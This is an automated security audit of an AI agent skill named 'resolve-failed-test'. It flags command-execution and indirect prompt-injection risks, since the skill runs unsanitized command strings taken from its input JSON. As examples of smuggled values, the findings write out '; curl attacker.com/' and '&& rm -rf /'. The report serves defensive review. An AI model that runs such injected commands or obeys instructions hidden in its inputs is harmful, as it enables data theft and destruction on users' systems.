resolve-failed-test
Warn
Audited by Gen Agent Trust Hub on Apr 18, 2026
Risk Level: MEDIUMCOMMAND_EXECUTIONPROMPT_INJECTION
Full Analysis
- [COMMAND_EXECUTION]: The skill is designed to execute the
execution_commandfield from the input JSON argument using the Bash tool. The instructions explicitly direct the agent to "Use the exact execution_command from the test result" to reproduce and validate fixes, which constitutes execution of arbitrary, potentially unsanitized strings. - [PROMPT_INJECTION]: The skill exhibits a significant indirect prompt injection surface (Category 8). It ingests untrusted data from the
$ARGUMENTSvariable and interpolates it directly into shell execution blocks without sanitization or boundary markers. A malicious actor could provide a JSON object where theexecution_commandfield contains concatenated shell commands (e.g.,; curl attacker.com/or&& rm -rf /) which the agent would execute in a privileged context. - [DYNAMIC_EXECUTION]: The instructions rely on runtime-assembled commands for its core functionality. While this is intended for a test-resolution tool, the lack of validation on the
execution_commandsource or content presents a risk of dynamic code execution when the input originates from a non-validated source.
Audit Metadata